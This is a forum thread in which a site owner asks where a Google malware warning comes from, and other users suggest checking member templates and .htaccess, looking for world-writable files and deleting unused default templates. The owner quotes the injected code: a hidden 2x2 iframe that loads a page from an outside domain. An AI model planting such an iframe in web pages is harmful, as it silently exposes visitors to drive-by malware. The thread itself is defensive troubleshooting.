I am getting a malware warning from google but I can’t track down how to access these files/pages. not in the ftp or in the CMS. can anyone tell me were I should look?
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://plansweightloss.com/hewd.html?i=1885560></iframe></body>
It appears to be on ALL of your member pages, so I would look in your member theme templates first.
first steps would be to check your htaccess file(s) to see if anything strange is there. next check if there are any files or folders that shouuldn't be there. take specific care to files and folders that are 777
are you on shared hosting? You might want to contact your provider to see if they have any records of unwanted access or sql injections
These links are to your member templates. As Derek says get in there and check them out, it seems someone has managed to edit them...
Do you use the default member templates in your implimentation? If not you may be safest just deleting all the member templates from the server, otherwise someone with an account might be doing things you never even realised.
You can see the member template sif you goto /member and log in.
To delete them (I doubt this is best practice but it will remove the offending pages) take a gander in /themes/profile_system. there are 2 folders in here that contain a myriad of 'member area' default templates that could allow users to much about. If you dleete them you can't use them (obviously) but you won't get those errors again!!!!